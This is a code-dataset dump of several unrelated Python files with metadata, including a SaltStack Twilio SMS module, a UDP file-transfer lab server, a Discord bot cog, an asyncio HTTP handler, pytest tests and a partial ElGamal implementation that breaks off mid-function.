{"api_name": "numpy.allclose", "line_number": 65, "usage_type": "call"}, {"api_name": "nose.tools.tools", "line_number": 67, "usage_type": "attribute"}, {"api_name": "nose.tools", "line_number": 67, "usage_type": "name"}, {"api_name": "nose.tools.tools", "line_number": 77, "usage_type": "attribute"}, {"api_name": "nose.tools", "line_number": 77, "usage_type": "name"}, {"api_name": "nose.tools.tools", "line_number": 81, "usage_type": "attribute"}, {"api_name": "nose.tools", "line_number": 81, "usage_type": "name"}, {"api_name": "tempfile.mkstemp", "line_number": 95, "usage_type": "call"}, {"api_name": "os.close", "line_number": 96, "usage_type": "call"}, {"api_name": "os.unlink", "line_number": 98, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 101, "usage_type": "attribute"}, {"api_name": "os.sep.join", "line_number": 103, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 103, "usage_type": "attribute"}, {"api_name": "bob.io.base.io.base.HDF5File", "line_number": 105, "usage_type": "call"}, {"api_name": "bob.io.base.io", "line_number": 105, "usage_type": "attribute"}, {"api_name": "bob.io.base", "line_number": 105, "usage_type": "name"}, {"api_name": "nose.tools.tools.eq_", "line_number": 134, "usage_type": "call"}, {"api_name": "nose.tools.tools", "line_number": 134, "usage_type": "attribute"}, {"api_name": "nose.tools", "line_number": 134, "usage_type": "name"}, {"api_name": "script.flow.main", "line_number": 134, "usage_type": "call"}, {"api_name": "script.flow", "line_number": 134, "usage_type": "name"}, {"api_name": "bob.io.base.io.base.load", "line_number": 138, "usage_type": "call"}, {"api_name": "bob.io.base.io", "line_number": 138, "usage_type": "attribute"}, {"api_name": "bob.io.base", "line_number": 138, "usage_type": "name"}, {"api_name": "numpy.allclose", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 147, "usage_type": "call"}, {"api_name": "os.path", "line_number": 147, "usage_type": "attribute"}, {"api_name": "os.unlink", "line_number": 147, "usage_type": "call"}, {"api_name": "nose.tools.tools", "line_number": 154, "usage_type": "attribute"}, {"api_name": "nose.tools", "line_number": 154, "usage_type": "name"}, {"api_name": "nose.tools.tools", "line_number": 158, "usage_type": "attribute"}, {"api_name": "nose.tools", "line_number": 158, "usage_type": "name"}, {"api_name": "nose.tools.tools", "line_number": 162, "usage_type": "attribute"}, {"api_name": "nose.tools", "line_number": 162, "usage_type": "name"}, {"api_name": "tempfile.mkstemp", "line_number": 175, "usage_type": "call"}, {"api_name": "os.close", "line_number": 176, "usage_type": "call"}, {"api_name": "os.unlink", "line_number": 178, "usage_type": "call"}, {"api_name": "nose.tools.tools.eq_", "line_number": 180, "usage_type": "call"}, {"api_name": "nose.tools.tools", "line_number": 180, "usage_type": "attribute"}, {"api_name": "nose.tools", "line_number": 180, "usage_type": "name"}, {"api_name": "script.flow.main", "line_number": 180, "usage_type": "call"}, {"api_name": "script.flow", "line_number": 180, "usage_type": "name"}, {"api_name": "bob.io.base.io.base.load", "line_number": 183, "usage_type": "call"}, {"api_name": "bob.io.base.io", "line_number": 183, "usage_type": "attribute"}, {"api_name": "bob.io.base", "line_number": 183, "usage_type": "name"}, {"api_name": "nose.tools.tools.eq_", "line_number": 184, "usage_type": "call"}, {"api_name": "nose.tools.tools", "line_number": 184, "usage_type": "attribute"}, {"api_name": "nose.tools", "line_number": 184, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 187, "usage_type": "call"}, {"api_name": "os.path", "line_number": 187, "usage_type": "attribute"}, {"api_name": "os.unlink", "line_number": 188, "usage_type": "call"}, {"api_name": "nose.tools.tools", "line_number": 166, "usage_type": "attribute"}, {"api_name": "nose.tools", "line_number": 166, "usage_type": "name"}]} {"seq_id": "12847719114", "text": "\"\"\"\nModule for notifications via Twilio\n\n.. versionadded:: 2014.7.0\n\n:depends: - twilio python module\n:configuration: Configure this module by specifying the name of a configuration\n profile in the minion config, minion pillar, or master config (with :conf_master:`pillar_opts` set to True).\n\n .. warning: Setting pillar_opts to True in the master config may be considered\n unsafe as it copies the master config to pillar\n\n For example:\n\n .. code-block:: yaml\n\n my-twilio-account:\n twilio.account_sid: AC32a3c83990934481addd5ce1659f04d2\n twilio.auth_token: mytoken\n\"\"\"\n\nimport logging\n\nHAS_LIBS = False\ntry:\n import twilio\n\n # Grab version, ensure elements are ints\n twilio_version = tuple(int(x) for x in twilio.__version_info__)\n TWILIO_LT_5 = False\n if twilio_version > (6,):\n from twilio.base.exceptions import TwilioRestException\n from twilio.rest import Client as TwilioRestClient\n elif twilio_version > (5,):\n # pylint: disable=no-name-in-module\n from twilio.rest import Client as TwilioRestClient\n from twilio.rest import TwilioException as TwilioRestException\n\n # pylint: enable=no-name-in-module\n else:\n TWILIO_LT_5 = True\n from twilio import TwilioRestException # pylint: disable=no-name-in-module\n from twilio.rest import TwilioRestClient # pylint: disable=no-name-in-module\n HAS_LIBS = True\nexcept ImportError:\n pass\n\n\nlog = logging.getLogger(__name__)\n\n__virtualname__ = \"twilio\"\n\n\ndef __virtual__():\n \"\"\"\n Only load this module if twilio is installed on this minion.\n \"\"\"\n if HAS_LIBS:\n return __virtualname__\n return (\n False,\n \"The twilio_notify execution module failed to load: the twilio python library\"\n \" is not installed.\",\n )\n\n\ndef _get_twilio(profile):\n \"\"\"\n Return the twilio connection\n \"\"\"\n creds = __salt__[\"config.option\"](profile)\n client = TwilioRestClient(\n creds.get(\"twilio.account_sid\"),\n creds.get(\"twilio.auth_token\"),\n )\n\n return client\n\n\ndef send_sms(profile, body, to, from_):\n \"\"\"\n Send an sms\n\n CLI Example:\n\n twilio.send_sms my-twilio-account 'Test sms' '+18019999999' '+18011111111'\n \"\"\"\n ret = {}\n ret[\"message\"] = {}\n ret[\"message\"][\"sid\"] = None\n client = _get_twilio(profile)\n try:\n if TWILIO_LT_5:\n message = client.sms.messages.create(body=body, to=to, from_=from_)\n else:\n message = client.messages.create(body=body, to=to, from_=from_)\n except TwilioRestException as exc:\n ret[\"_error\"] = {}\n ret[\"_error\"][\"code\"] = exc.code\n ret[\"_error\"][\"msg\"] = exc.msg\n ret[\"_error\"][\"status\"] = exc.status\n log.debug(\"Could not send sms. Error: %s\", ret)\n return ret\n ret[\"message\"] = {}\n ret[\"message\"][\"sid\"] = message.sid\n ret[\"message\"][\"price\"] = message.price\n ret[\"message\"][\"price_unit\"] = message.price_unit\n ret[\"message\"][\"status\"] = message.status\n ret[\"message\"][\"num_segments\"] = message.num_segments\n ret[\"message\"][\"body\"] = message.body\n ret[\"message\"][\"date_sent\"] = str(message.date_sent)\n ret[\"message\"][\"date_created\"] = str(message.date_created)\n log.info(ret)\n return ret\n", "repo_name": "saltstack/salt", "sub_path": "salt/modules/twilio_notify.py", "file_name": "twilio_notify.py", "file_ext": "py", "file_size_in_byte": 3306, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13606, "dataset": "github-code", "pt": "78", "api": [{"api_name": "twilio.__version_info__", "line_number": 29, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 49, "usage_type": "call"}, {"api_name": "twilio.rest.TwilioRestClient", "line_number": 72, "usage_type": "call"}, {"api_name": "twilio.TwilioRestException", "line_number": 97, "usage_type": "name"}]} {"seq_id": "45014128484", "text": "#!/usr/local/bin/python\n# coding: utf8\nimport json\n\nwith open('.shopping_list.json') as data_file:\n data = json.load(data_file)\n\ncontent = u\"\\n\"\nfor item in data:\n if not item['complete']:\n content += u\"- %s\\n\" % item['name']\n\nprint(content)", "repo_name": "moura232/home-assistant-config-1", "sub_path": "shopping_list.py", "file_name": "shopping_list.py", "file_ext": "py", "file_size_in_byte": 254, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "json.load", "line_number": 6, "usage_type": "call"}]} {"seq_id": "42119290429", "text": "from quantML.storage import S3\nimport os\nimport numpy as np\nimport pandas as pd\nimport psycopg2\n\n\nif __name__ == '__main__':\n\n # download predictions\n print('Downloading File from AWS')\n bucket = 'stock-data-ml'\n pred_path = 'live/predictions/'\n pred_file = 'latest_preds.snappy.parquet'\n s3 = S3(os.environ['AWSACCESSKEYID'], os.environ['AWSSECRETKEY'])\n s3.download_file(bucket, pred_path+pred_file, pred_file)\n\n # load data\n print('Loading Parquet File')\n df_pred = pd.read_parquet(pred_file)\n print('Creating Stats and Summary')\n df_pred = df_pred[df_pred.prediction_date == df_pred.prediction_date.max()]\n pred_cols = [i for i in df_pred.columns if 'date' not in i and 'buy' not in i]\n tickers = [i.replace('_pred', '') for i in pred_cols]\n pred_vec = np.round(df_pred[pred_cols].to_numpy()[0], 5)\n pred_dict = dict(zip(tickers, pred_vec))\n pred_date = df_pred.prediction_date.max()\n\n # connect to postgres\n print('Connecting to Postgres')\n conn = psycopg2.connect(\n host=os.environ['STOCK_PGSQL_HOST'],\n database=os.environ['STOCK_PGSQL_DBNAME'],\n user=os.environ['STOCK_PGSQL_USER'],\n password=os.environ['STOCK_PGSQL_PASSWORD'])\n cur = conn.cursor()\n\n # update the database\n insert_statement = f\"\"\"\n insert into tabular_rebalance (prediction_date, stock_summary, days_out, model)\n values(\n date('{pred_date.date()}'),\n '{str(pred_dict).replace(\"'\", '\"')}',\n 5,\n 'PCA to Random Forest'\n );\n \"\"\"\n print('Updating Database')\n print(insert_statement)\n cur.execute(insert_statement)\n\n # close the connection\n conn.commit()\n cur.close()\n print('Connection closed')\n", "repo_name": "Jeremy-Demlow/Data-Projects", "sub_path": "Random/alg_trading/quantML/scripts/update_postgres.py", "file_name": "update_postgres.py", "file_ext": "py", "file_size_in_byte": 1725, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "quantML.storage.S3", "line_number": 15, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pandas.read_parquet", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 25, "usage_type": "call"}, {"api_name": "psycopg2.connect", "line_number": 31, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 33, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 35, "usage_type": "attribute"}]} {"seq_id": "2573656791", "text": "from concurrent.futures import ThreadPoolExecutor, as_completed\nimport socket\nimport hashlib\nimport subprocess\nimport time\nimport logging\nfrom datetime import datetime\nfrom settings import *\n\naddresses = {}\ncorrect_clients = []\nincorrect_clients = []\n\ntamano_archivo = input('Ingrese el tamaño del archivo que requiere (MB): ')\nfile_name = 'ArchivosServidor/file' + tamano_archivo + '.txt'\nnum_clientes = input(\n 'Ingrese el número de clientes que solicitan el archivo: ')\nnum_clientes = num_clientes if len(num_clientes) > 1 else '0' + num_clientes\n\nformated_date = datetime.now().strftime('%Y-%m-%d-%H-%M-%S')\nlogging.basicConfig(filename='Logs/Servidor/'+formated_date + '-log.log',\n filemode='w', format='%(asctime)s - %(levelname)s - %(message)s')\nlog = logging.getLogger('Logs/Servidor/'+formated_date + '-log')\nlog.setLevel(logging.DEBUG)\nlog.debug('Archivo a enviar: ' + file_name +\n ', Tamaño: ' + tamano_archivo + 'MB.')\n\narchivo_captura = open('capturaTshark.txt', 'wb')\ntxt_captura = subprocess.Popen(['tshark'], stdout=archivo_captura)\npcap_captura = subprocess.Popen(\n ['tshark', '-i', 'ens33', '-w', 'traff.pcap', '-F', 'pcap'])\n\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\ns.bind((HOST, PORT))\nprint('Escuchando en', s.getsockname())\ndata, main_client = s.recvfrom(CHUNKS_SIZE)\ns.sendto(((num_clientes + ',' + tamano_archivo).encode()), main_client)\n\n\ndef iniciar_protocolo():\n global s, addresses\n data, clientAddr = s.recvfrom(CHUNKS_SIZE)\n print('Se ha aceptado una conexión de', str(clientAddr))\n print('El socket se conecta desde', (HOST, PORT), 'hacia', str(clientAddr))\n log.debug('Se realizó la conexión con el cliente: ' + str(clientAddr))\n print('El mensaje entrante dice: ', str(data.decode()))\n s.sendto(CLIENTE_RECONOCIDO.encode(), clientAddr)\n addresses[data.decode().split(':')[1]] = clientAddr\n return len(addresses)\n\n\ndef enviar_archivo(client_address):\n global s, file_name\n tiempo_inicio = time.time()\n with open(file_name, 'rb') as f:\n l = f.read(CHUNKS_SIZE)\n while (l):\n s.sendto(l, client_address)\n l = f.read(CHUNKS_SIZE)\n with open(file_name, 'r') as f:\n data = f.read()\n hash_data = hashlib.sha256(data.encode()).hexdigest()\n s.sendto(hash_data.encode(), client_address)\n ack, client_address = s.recvfrom(CHUNKS_SIZE)\n print('El mensaje entrante dice: ', ack.decode())\n log.debug(\"El cliente \" + str(client_address) +\n \" indicó: \" + ack.decode())\n partes = ack.decode().split(\":\")\n print(partes)\n if partes[0] == ARCHIVO_RECIBIDO:\n correct_clients.append(partes[1] + \" \" + str(client_address))\n elif partes[0] == ARCHIVO_INCORRECTO:\n incorrect_clients.append(partes[1] + \" \" + str(client_address))\n log.debug('El tiempo de transferencia del archivo al cliente ' +\n str(client_address) + ' fue de ' + str(time.time() - tiempo_inicio) + ' segundos.')\n return ack\n\n\nwith ThreadPoolExecutor(max_workers=25) as pool:\n futures = {pool.submit(iniciar_protocolo)\n for _ in range(int(num_clientes))}\n for fut in as_completed(futures):\n print(f'El número de clientes actual es: {fut.result()}')\n futures = {pool.submit(enviar_archivo, client_address)\n for client_address in addresses.values()}\n for fut in as_completed(futures):\n print(f'El resultado del envío del archivo fue: {fut.result()}')\ntxt_captura.kill()\npcap_captura.kill()\n\nfor client in correct_clients:\n log.debug('El cliente ' + client + ' recibió correctamente el archivo.')\nfor client in incorrect_clients:\n log.debug('El cliente ' + client + ' no recibió correctamente el archivo.')\n\nnum_bytes_SC = 0\nnum_paquetes_SC = 0\nwith open('capturaTshark.txt', 'r') as archivo_completo:\n for linea in archivo_completo:\n partes = linea.split()\n if HOST + ' → ' + CLIENT_HOST in linea:\n num_bytes_SC += int(partes[6])\n num_paquetes_SC += 1\n log.info('El número de paquetes enviados fue: ' + str(num_paquetes_SC))\n log.info('El número de bytes enviados fue: ' + str(num_bytes_SC))\n\ns.close()\n", "repo_name": "DanielGuatibonza/Redes-Lab3", "sub_path": "Actividad 2/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 4245, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datetime.datetime.now", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 20, "usage_type": "name"}, {"api_name": "logging.basicConfig", "line_number": 21, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 23, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 24, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 29, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 30, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 33, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 33, "usage_type": "attribute"}, {"api_name": "socket.SOCK_DGRAM", "line_number": 33, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 54, "usage_type": "call"}, {"api_name": "hashlib.sha256", "line_number": 62, "usage_type": "call"}, {"api_name": "time.time", "line_number": 75, "usage_type": "call"}, {"api_name": "concurrent.futures.ThreadPoolExecutor", "line_number": 79, "usage_type": "call"}, {"api_name": "concurrent.futures.as_completed", "line_number": 82, "usage_type": "call"}, {"api_name": "concurrent.futures.as_completed", "line_number": 86, "usage_type": "call"}]} {"seq_id": "29947279778", "text": "import discord\nfrom discord.ext import commands\n\nclass Mute_Unmute(commands.Cog):\n \n def __init__(self, client):\n self.client = client\n \n @commands.command()\n @commands.has_permissions(mute_members=True)\n async def mute(self, ctx, member : discord.Member):\n await member.edit(mute = True)\n await ctx.send(f\"{member.mention} is muted!\")\n\n @commands.command()\n @commands.has_permissions(mute_members=True)\n async def unmute(ctx, member : discord.Member):\n await member.edit(mute = False)\n await ctx.send(f\"{member.mention} is unmuted!\")\n \ndef setup(client):\n client.add_cog(Mute_Unmute(client))", "repo_name": "0rang-3/GRAPE-Discord-Bot", "sub_path": "cogs/mute-unmute.py", "file_name": "mute-unmute.py", "file_ext": "py", "file_size_in_byte": 618, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "discord.ext.commands.Cog", "line_number": 4, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 4, "usage_type": "name"}, {"api_name": "discord.Member", "line_number": 11, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.command", "line_number": 9, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 9, "usage_type": "name"}, {"api_name": "discord.ext.commands.has_permissions", "line_number": 10, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 10, "usage_type": "name"}, {"api_name": "discord.Member", "line_number": 17, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.command", "line_number": 15, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 15, "usage_type": "name"}, {"api_name": "discord.ext.commands.has_permissions", "line_number": 16, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 16, "usage_type": "name"}]} {"seq_id": "38284520522", "text": "import asyncio\nimport hashlib\nimport io\nimport socket\nimport struct\n\nfrom huhhttp.header import Response\n\n\nclass StopProcessing(Exception):\n pass\n\n\nclass Handler(object):\n def __init__(self, server, reader, writer, request, match):\n self.server = server\n self.reader = reader\n self.writer = writer\n self.request = request\n self.match = match\n self.response = None\n self.closed = False\n self.streaming = False\n self.buffer = None\n self.buffer_hash = None\n self.allowed_methods = (b'GET', b'HEAD')\n\n def __call__(self):\n try:\n yield from self.prepare()\n yield from self.process()\n yield from self.finish()\n except StopProcessing:\n pass\n\n @asyncio.coroutine\n def prepare(self):\n if self.request.method not in self.allowed_methods:\n yield from self.write_header(405, b'Method not allow')\n yield from self.finish()\n raise StopProcessing()\n\n @asyncio.coroutine\n def process(self):\n raise NotImplementedError()\n\n @asyncio.coroutine\n def finish(self):\n if self.streaming:\n yield from self.write(b'0\\r\\n\\r\\n')\n elif self.response:\n if b'Content-Length' not in self.response.fields:\n self.response.fields[b'Content-Length'] = str(\n self.buffer.tell()).encode('ascii')\n\n if b'Etag' not in self.response.fields and self.buffer_hash:\n self.response.fields[b'Etag'] = self.buffer_hash.hexdigest(\n ).encode('ascii')\n\n if self.response.status_code == 200 and \\\n b'If-None-Match' in self.request.fields and \\\n self.request.fields.get(b'If-None-Match') == \\\n self.response.fields.get(b'Etag'):\n self.response.status_code = 304\n yield from self.write(self.response.to_bytes())\n yield from self.write(b'\\r\\n')\n else:\n yield from self.write(self.response.to_bytes())\n yield from self.write(b'\\r\\n')\n\n if self.request.method != b'HEAD':\n yield from self.write(self.buffer.getvalue())\n\n if not self.closed and (\n self.request.fields.get(b'connection') == b'close' or\n self.request.version != b'HTTP/1.1'):\n self.close()\n\n def close(self):\n self.closed = True\n self.writer.close()\n\n @asyncio.coroutine\n def write(self, data):\n self.writer.write(data)\n yield from self.writer.drain()\n\n @asyncio.coroutine\n def write_header(self, status_code, reason=b'', headers=None):\n self.response = Response(\n version=b'HTTP/1.1', status_code=status_code, reason=reason)\n\n if headers is not None:\n self.response.fields.update(headers)\n\n yield from self.begin_content()\n\n @asyncio.coroutine\n def begin_content(self):\n if self.streaming:\n if b'Transfer-encoding' not in self.response.fields:\n self.response.fields[b'Transfer-Encoding'] = b'chunked'\n\n yield from self.write(self.response.to_bytes())\n yield from self.write(b'\\r\\n')\n else:\n self.buffer = io.BytesIO()\n self.buffer_hash = hashlib.sha1()\n\n @asyncio.coroutine\n def write_content(self, data):\n if self.streaming:\n yield from self.write_chunk(data)\n else:\n self.buffer.write(data)\n self.buffer_hash.update(data)\n if self.buffer.tell() > 10000:\n self.stream()\n yield from self.begin_content()\n yield from self.write_chunk(self.buffer.getvalue())\n\n @asyncio.coroutine\n def write_chunk(self, data):\n yield from self.write('{:x}'.format(len(data)).encode('ascii'))\n yield from self.write(b'\\r\\n')\n yield from self.write(data)\n yield from self.write(b'\\r\\n')\n\n def stream(self):\n self.streaming = True\n\n def reset_connection(self):\n # http://stackoverflow.com/a/6440364/1524507\n sock = self.writer.get_extra_info('socket')\n l_onoff = 1\n l_linger = 0\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,\n struct.pack('ii', l_onoff, l_linger))\n sock.close()\n self.close()\n", "repo_name": "chfoo/huhhttp", "sub_path": "huhhttp/handler.py", "file_name": "handler.py", "file_ext": "py", "file_size_in_byte": 4450, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13, "dataset": "github-code", "pt": "78", "api": [{"api_name": "asyncio.coroutine", "line_number": 36, "usage_type": "attribute"}, {"api_name": "asyncio.coroutine", "line_number": 43, "usage_type": "attribute"}, {"api_name": "asyncio.coroutine", "line_number": 47, "usage_type": "attribute"}, {"api_name": "asyncio.coroutine", "line_number": 83, "usage_type": "attribute"}, {"api_name": "huhhttp.header.Response", "line_number": 90, "usage_type": "call"}, {"api_name": "asyncio.coroutine", "line_number": 88, "usage_type": "attribute"}, {"api_name": "io.BytesIO", "line_number": 107, "usage_type": "call"}, {"api_name": "hashlib.sha1", "line_number": 108, "usage_type": "call"}, {"api_name": "asyncio.coroutine", "line_number": 98, "usage_type": "attribute"}, {"api_name": "asyncio.coroutine", "line_number": 110, "usage_type": "attribute"}, {"api_name": "asyncio.coroutine", "line_number": 122, "usage_type": "attribute"}, {"api_name": "socket.SOL_SOCKET", "line_number": 137, "usage_type": "attribute"}, {"api_name": "socket.SO_LINGER", "line_number": 137, "usage_type": "attribute"}, {"api_name": "struct.pack", "line_number": 138, "usage_type": "call"}]} {"seq_id": "15770546753", "text": "import subprocess\nimport pandas as pd\nimport pytest\nimport seabird_growth_rate as sgr\n\n\nbashCommand = \"make data/processed/subset_burrows_data.csv\"\n\nprocess = subprocess.Popen(bashCommand.split(), stdout=subprocess.PIPE)\noutput, error = process.communicate()\nnidos_array = [\n {\"Temporada\": 2014, \"Maxima_cantidad_nidos\": 283},\n {\"Temporada\": 2015, \"Maxima_cantidad_nidos\": 126},\n {\"Temporada\": 2016, \"Maxima_cantidad_nidos\": 395},\n {\"Temporada\": 2017, \"Maxima_cantidad_nidos\": 344},\n {\"Temporada\": 2018, \"Maxima_cantidad_nidos\": 921},\n {\"Temporada\": 2019, \"Maxima_cantidad_nidos\": 847},\n]\n\n\ndef get_df(file_path):\n with open(file_path) as file:\n df = pd.read_csv(file)\n return df\n\n\ndef test_calculate_interest_numbers():\n df = get_df(\"data/processed/subset_burrows_data.csv\")\n laal = df[df[\"Nombre_en_ingles\"] == \"Laysan Albatross\"]\n cantidad_nidos = pd.DataFrame(nidos_array)\n model = sgr.fit_population_model(laal[\"Temporada\"], laal[\"Maxima_cantidad_nidos\"])\n (\n obtained_first_number,\n obtained_first_number_calculated,\n obtained_last_number,\n obtained_last_number_calculated,\n ) = sgr.calculate_interest_numbers(cantidad_nidos, model)\n\n expected_first_number = \"283 (2014)\"\n expected_first_number_calculated = \"326.1481866290459 (2014)\"\n expected_last_number = \"{847} (2019)\"\n expected_last_number_calculated = \"792.2915311946396 (2019)\"\n\n assert obtained_first_number == expected_first_number\n assert obtained_first_number_calculated[0:6] == expected_first_number_calculated[0:6]\n assert obtained_last_number == expected_last_number\n assert obtained_last_number_calculated[0:6] == expected_last_number_calculated[0:6]\n\n\ndef test_generate_season_interval():\n datos_di = {\"da\": [1, 2, 3, 4, 5]}\n df = pd.DataFrame(datos_di)\n expected_interval = \"(1-5)\"\n obtained_interval = sgr.generate_season_interval(df[\"da\"])\n assert expected_interval == obtained_interval\n\n\ndef test_calculate_percent_diff_in_seasons():\n datos_di = {\"Maxima_cantidad_nidos\": [1, 2, 3, 4, 5]}\n df = pd.DataFrame(datos_di)\n expected_percent = 400\n obtaibed_percent = sgr.calculate_percent_diff_in_seasons(df, df[\"Maxima_cantidad_nidos\"])\n assert expected_percent == obtaibed_percent\n datos_d1 = {\"Maxima_cantidad_nidos\": [0, 2, 3, 4, 5]}\n df_2 = pd.DataFrame(datos_d1)\n expected_percent = 400\n obtaibed_percent = sgr.calculate_percent_diff_in_seasons(df_2, df[\"Maxima_cantidad_nidos\"])\n assert expected_percent == obtaibed_percent\n\n\ntestdata = [\n (\n \"tests/data/unsorted_seasons.csv\",\n \"2010-2021\",\n ),\n (\n \"tests/data/repeated_seasons.csv\",\n \"2010-2021\",\n ),\n (\n \"tests/data/one_season.csv\",\n \"2010\",\n ),\n]\n\n\n@pytest.mark.parametrize(\"path,expected_seasons\", testdata)\ndef test_get_monitored_seasons(path, expected_seasons):\n burrows_data_dataframe = get_df(path)\n obtained_seasons = sgr.get_monitored_seasons(burrows_data_dataframe[\"Temporada\"])\n print(obtained_seasons)\n assert expected_seasons == obtained_seasons\n\n\ndef test_calculate_growth_rates_table():\n data = pd.read_csv(\"tests/data/subset_burrows_data.csv\")\n bootstrap = sgr.Bootstrap[\"testing\"]\n bootstrap.set_data(data)\n tabla = sgr.calculate_growth_rates_table(bootstrap)\n p_valor_mayor = tabla[10]\n p_valor_menor = tabla[11]\n expected_p_valor_mayor = 0.25\n expected_p_valor_menor = 0.75\n assert expected_p_valor_mayor == p_valor_mayor\n assert expected_p_valor_menor == p_valor_menor\n obtained_central, obtained_inferior, obtained_superior = tabla[6:9]\n assert obtained_central == 1.1\n assert obtained_superior == \"+0.52\"\n assert obtained_inferior == \"-1.07\"\n latex_intervals = tabla[4]\n assert latex_intervals == \"${1.1}_{-1.07}^{+0.52}$\"\n", "repo_name": "IslasGECI/seabird_growth_rate", "sub_path": "tests/pytest/test_calculate_growth_rates.py", "file_name": "test_calculate_growth_rates.py", "file_ext": "py", "file_size_in_byte": 3842, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "subprocess.Popen", "line_number": 9, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 23, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 30, "usage_type": "call"}, {"api_name": "seabird_growth_rate.fit_population_model", "line_number": 31, "usage_type": "call"}, {"api_name": "seabird_growth_rate.calculate_interest_numbers", "line_number": 37, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 52, "usage_type": "call"}, {"api_name": "seabird_growth_rate.generate_season_interval", "line_number": 54, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 60, "usage_type": "call"}, {"api_name": "seabird_growth_rate.calculate_percent_diff_in_seasons", "line_number": 62, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 65, "usage_type": "call"}, {"api_name": "seabird_growth_rate.calculate_percent_diff_in_seasons", "line_number": 67, "usage_type": "call"}, {"api_name": "seabird_growth_rate.get_monitored_seasons", "line_number": 90, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 87, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 87, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 96, "usage_type": "call"}, {"api_name": "seabird_growth_rate.Bootstrap", "line_number": 97, "usage_type": "attribute"}, {"api_name": "seabird_growth_rate.calculate_growth_rates_table", "line_number": 99, "usage_type": "call"}]} {"seq_id": "32806693225", "text": "import random\r\nimport sympy\r\nimport math\r\nimport torch\r\nimport torch.nn.functional as F\r\n\r\n\r\nclass Egamal():\r\n def __init__(self, p):\r\n self.p = p\r\n\r\n def ny(self, e, z):\r\n k = 1\r\n e = e % z\r\n while ((k * z + 1) % e != 0):\r\n k = k + 1\r\n d = int((k * z + 1) / e)\r\n return d\r\n\r\n def modf(self, a, b, p):\r\n a = a % p\r\n d = (a * self.ny(b, p)) % p\r\n return d\r\n\r\n def mod(self, a, p):\r\n return a % p\r\n\r\n def fast_power(self, base, power, p):\r\n res = 1\r\n while power > 0:\r\n if power % 2 == 1:\r\n res = self.mod(res * base, p)\r\n power = power // 2\r\n base = self.mod(base * base, p)\r\n return self.mod(res, p)\r\n\r\n def getPrime(self, p):\r\n x = random.randint(1, p - 1)\r\n t = False\r\n while t == False:\r\n if sympy.isprime(x) == False:\r\n x = random.randint(1, p - 1)\r\n else:\r\n break\r\n return x % p\r\n\r\n def get_x2(self, h, g1, g2, y2, p):\r\n x2 = self.modf(h - y2 * g2, g1, p)\r\n return x2\r\n\r\n def get_y2(self, g1, g2, x2, h, p):\r\n return math.log(self.modf(h, self.fast_power(g1, x2, p), p), g2)\r\n\r\n def keygen(self, p):\r\n x = random.randint(1, p - 1)\r\n y = random.randint(1, p - 1)\r\n g1 = random.randint(1, p - 1)\r\n g2 = random.randint(1, p - 1)\r\n h = self.mod(x * g1 + y * g2, p)\r\n PK = [g1, g2, h]\r\n SK = [x, y]\r\n return PK, SK\r\n\r\n def Epk(self, m, p, PK):\r\n g1 = PK[0]\r\n g2 = PK[1]\r\n h = PK[2]\r\n r = random.randint(1, p - 1)\r\n g1r = self.mod(r * g1, p)\r\n g2r = self.mod(r * g2, p)\r\n hr = self.mod(r * h, p)\r\n enm = self.mod(hr + m, p)\r\n output = [g1r, g2r, enm]\r\n return output\r\n\r\n def Dsk(self, u, v, e, SK, p):\r\n x = SK[0]\r\n y = SK[1]\r\n a = self.mod(u * x + v * y, p)\r\n output = self.mod(e - a, p)\r\n return output\r\n\r\n def Fake(self, p, PK):\r\n g1 = PK[0]\r\n g2 = PK[1]\r\n r1 = random.randint(1, p - 1)\r\n r2 = 